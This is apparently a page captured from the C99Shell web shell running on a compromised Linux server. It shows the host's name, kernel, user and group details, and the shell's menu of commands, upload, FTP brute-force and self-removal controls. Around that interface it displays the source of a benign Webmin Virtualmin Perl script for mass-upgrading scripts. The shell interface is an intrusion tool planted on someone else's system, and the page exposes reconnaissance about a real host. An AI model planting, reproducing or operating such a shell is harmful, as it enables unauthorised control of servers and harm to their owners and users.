!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     mass_upgrade.cgi (4.13 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Upgrade a bunch of scripts to their latest versions

require './virtual-server-lib.pl';
&ReadParse();
$d = &get_domain($in{'dom'});
&can_edit_domain($d) && &can_edit_scripts() || &error($text{'edit_ecannot'});
&error_setup($text{'massg_err'});
@d = split(/\0/, $in{'d'});
@d || &error($text{'massg_enone'});

# Get the scripts being upgraded, and for each work out a new version
@got = &list_domain_scripts($d);
foreach $id (@d) {
    ($sinfo) = grep { $_->{'id'} eq $id } @got;
    if ($sinfo) {
        push(@sinfos, $sinfo);
        $script = &get_script($sinfo->{'name'});
        $sinfo->{'deleted'} &&
            &text('massg_edeleted', $script->{'desc'});
        @vers = grep { &can_script_version($script, $_) }
                 @{$script->{'versions'}};
        @better = grep { &compare_versions($_,
                    $sinfo->{'version'}, $script) > 0 } @vers;
        $ver = @better ? $better[$#better] : undef;
        $scriptmap{$sinfo->{'id'}} = $script;
        $vermap{$sinfo->{'id'}} = $ver;
        }
    }

if ($in{'confirm'}) {
    # Do it
    &ui_print_unbuffered_header(&domain_in($d), $text{'massg_title'}, "");

    # Upgrade each script, if a new version exists
    foreach $sinfo (@sinfos) {
        $script = $scriptmap{$sinfo->{'id'}};
        $ver = $vermap{$sinfo->{'id'}};
        $opts = $sinfo->{'opts'};

        # Check if script migrated to Pro and cannot be upgraded anymore
        if (script_migrated_disallowed($script->{'migrated'})) {
            $ver = $sinfo->{'version'};
            }

        # Install needed packages
        &setup_script_packages($script, $d, $ver);

        &$first_print(&text('massg_doing', $script->{'desc'}, $ver));
        if (&compare_versions($sinfo->{'version'}, $ver,
                      $script) >= 0) {
            # Already got it
            &$second_print(&text('massscript_ever',
                         $sinfo->{'version'}));
            next;
            }

        &$indent_print();
        local $phpver = $sinfo->{'opts'}->{'phpver'};
        if ($derr = &check_script_depends($script, $d, $ver, $sinfo, $phpver)) {
            # Failed depends
            &$second_print(&text('massscript_edep', $derr));
            next;
            }

        # Install needed PHP modules
        &setup_script_requirements($d, $script, $ver, $phpver,
                       $opts) || next;

        # Fetch needed files
        $ferr = &fetch_script_files($sinfo->{'dom'}, $ver,$opts,
                        $sinfo, \%gotfiles);
        &error($ferr) if ($ferr);

        # Work out username and password
        $domuser = $sinfo->{'user'} || $d->{'user'};
        $dompass = $sinfo->{'pass'} || $d->{'pass'};

        # Go ahead and do it
        ($ok, $msg, $desc, $url) = &{$script->{'install_func'}}(
            $d, $ver, $opts, \%gotfiles, $sinfo,
            $domuser, $dompass);
        print $msg,"<br>\n";
        &$outdent_print();
        if ($ok) {
            # Worked .. record it
            &$second_print($text{'setup_done'});
            &remove_domain_script($d, $sinfo);
            $newsinfo = &add_domain_script(
                $d, $sinfo->{'name'}, $ver,
                $opts, $desc, $url,
                $sinfo->{'user'}, $sinfo->{'pass'});
            $sinfo->{'id'} = $newsinfo->{'id'};
            }
        else {
            &$second_print($text{'scripts_failed'});
            last if ($in{'fail'});
            }

        # Clean up any temp files from this script
        &cleanup_tempnames();
        }

    &run_post_actions();
    &webmin_log("upgrade", "scripts", scalar(@d));
    }
else {
    # Ask first
    &ui_print_header(&domain_in($d), $text{'massg_title'}, "");

    print "<center>\n";
    print &ui_form_start("mass_upgrade.cgi", "post");
    print &ui_hidden("dom", $in{'dom'}),"\n";
    foreach $id (@d) {
        print &ui_hidden("d", $id),"\n";
        }
    print &text('massg_rusure', scalar(@d)),"<p>\n";
    print "<table>\n";
    foreach $sinfo (@sinfos) {
        $script = $scriptmap{$sinfo->{'id'}};
        $ver = $vermap{$sinfo->{'id'}};
        $ver = 0 if (script_migrated_disallowed($script->{'migrated'}));
        print "<tr>\n";
        print "<td>$script->{'desc'}</td>\n";
        print "<td>&nbsp;-&nbsp;</td>\n";
        if ($ver) {
            print "<td>",&text('massg_fromto',
                       $sinfo->{'version'}, $ver),"</td>\n";
            }
        else {
            print "<td>",&text('massg_stay',
                       $sinfo->{'version'}),"</td>\n";
            }
        print "</tr>\n";
        }
    print "</table>\n";
    print &ui_submit($text{'massg_ok'}, "confirm"),"<br>\n";
    print &ui_form_end();
    print "</center>\n";
    }

&ui_print_footer(@sinfos == 1 ?
           ( "edit_script.cgi?dom=$in{'dom'}&script=$sinfos[0]->{'id'}",
             $text{'scripts_ereturn'} ) :
           ( ),
         "list_scripts.cgi?dom=$in{'dom'}", $text{'scripts_return'},
         &domain_footer_link($d));


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0105 ]--